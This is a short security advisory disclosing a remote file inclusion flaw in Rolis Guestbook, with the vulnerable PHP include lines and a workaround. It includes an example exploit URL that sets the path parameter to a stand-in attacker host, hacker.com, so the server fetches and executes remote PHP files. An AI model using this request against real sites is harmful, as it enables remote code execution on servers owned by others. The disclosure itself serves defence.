|
|
|
|
| |
| Rolis Guestbook is "a simple to use PHP based Guestbook", a vulnerability in the product allows remote attackers to insert malicious PHP code into the product, allowing remote attackers to execute arbitrary code. |
| |
Credit:
The information has been provided by r00t.
|
| |
Immune systems:
* Rolis Guestbook version 0.97
Vulnerable code:
Because the script:
<?php
include ($path . "data.inc.php");
include ($path . "header.inc.php");
include($path . "connection_data.inc.php");
[ scip ]
Does not verify that $path arrives from the user, nor does it filter it for arbitrary values, requesting such a URL as:
http://www.site.com/rolis_book_path/insert.inc.php?path=http://hacker.com/
Will cause the program to download the following files, http://hacker.com/data.inc.php, http://hacker.com/header.inc.php, and http://hacker.com/connection_data.inc.php from the remote server, and execute the code inside them.
Workaround:
Edit insert.inc.php:
<?php
include ("path.inc.php"); <-- insert this line
include ($path . "data.inc.php");
...
|
|
|
|
|
